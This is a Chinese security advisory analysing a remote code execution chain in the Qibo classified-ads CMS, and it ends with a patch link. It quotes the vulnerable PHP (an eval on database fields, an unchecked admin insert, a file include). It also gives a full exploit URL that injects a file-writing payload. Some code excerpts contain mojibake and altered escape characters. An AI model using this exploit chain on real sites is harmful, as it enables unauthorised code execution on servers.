齐博分类系统远程代码执行漏洞

  • A+
所属分类:漏洞时代
摘要

阿里巴巴安全研究实验室—扶夙受影响系统:qibo所有产有产品都存在类似问题


作者:

阿里巴巴安全研究实验室—扶夙

受影响系统:qibo所有产有产品都存在类似问题

0x00背景

阿里Hydra系统于2015.6.30号监测到齐博多系统发布补丁,修补了Hydra系统于5月份分析的漏洞以及最新乌云爆的远程代码执行漏洞。通过Hydra系统得知,该补丁修改了全局文件inc/common.inc.php。分类系统修改了jf.php、admin.php。

齐博分类系统远程代码执行漏洞

齐博分类系统远程代码执行漏洞

0x01 分析

以分类系统为例分析该漏洞及前台无限制远程代码执行。

通过搜索eval调用,查找到/var/www/v7_utf8/do/jf.php文件,存在潜在的代码执行漏洞。

$query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");  while($rs = $db->fetch_array($query)){         $fnameDB[$rs[fid]]=$rs[name];         $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");         while($rs2 = $db->fetch_array($query2)){                eval("/$rs2[title]=/"$rs2[title]/";");                eval("/$rs2[content]=/"$rs2[content]/";");                $jfDB[$rs[fid]][]=$rs2;         }  } 

可以看到title和content字段从数据库pre_jfabout中取出,如果该参数可控,则可导致远程代码执行漏洞。搜索jfabout关键字,寻找insert或者update操作,查找可控的title和content内容,找到文件/var/www/qiblog/hack/jfadmin/admin.php。

elseif($action=="addjf"&&$Apower[jfadmin_mod])  {         $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");         jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);  } 

及:

elseif($action=="editjf"&&$Apower[jfadmin_mod])  {         $db->query("UPDATE `{$pre}jfabout` SET `fid`='$fid',`title`='$title',`content`='$content' WHERE id='$id'");         jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);  }

 

可以看到,title、content内容可控,通过POST提交即可进入数据库。

通过unset掉Apower变量,搜索利用方法。

前台利用,因为该文件需要Apower变量不为空,验证了是否具有管理员权限。但Apower变量末初始化,假设能调用/hack/jfadmin/admin.php,并覆盖该参数即可。前台搜索找到search.php有本地文件包含漏洞。可以利用该点来利用。

Search.php:

$fid_select="<select name='fid' onChange=/"if(this.options[this.selectedIndex].value=='-1'){alert('�㲻��ѡ������');}/"><option value='0' style='color:#aaa;'>������Ŀ</option>";  foreach( $Fid_db[0] AS $key=>$value){  $fid_select.="<option value='-1' style='color:red;'>$value</option>";  foreach( $Fid_db[$key] AS $key2=>$value2){  $ckk=$fid==$key2?' selected ':' ';  $fid_select.="<option value='$key2' $ckk>  |--$value2</option>";  }  }  $fid_select.="</select>";    $postdb[city_id] && $city_id  =     $postdb[city_id];  $postdb[street_id]    && $street_id     =     $postdb[street_id];  $postdb[zone_id]      && $zone_id      =     $postdb[zone_id];    @include_once(ROOT_PATH."data/zone/$city_id.php");

 

$city_id为$postdb[city_id]变量而来可控。可直接包含利用。

0x02 利用

通过以上分析可知,首先通过admin.php将恶意代码插入数据库,然后再从jf.php取出数据即可代码执行。前台利用文件包含覆盖Apower变量进入addjf即可远程利用。

 

利用:

http://192.168.80.133:81/fenlei1.0/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1& title=test&content=${@fwrite(fopen('ali.php', 'w+'),'test')}&list=1

 

即可在admin目录下生成ali.php。

或者普通用户访问/do/jf.php,即可在do目录下生成ali.php文件

齐博分类系统远程代码执行漏洞

0x03 修复

手段:更新官方补丁

补丁链接:

http://bbs.qibosoft.com/job-forum-action-download-pid-tpc-tid-422299-aid-92428.htm

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: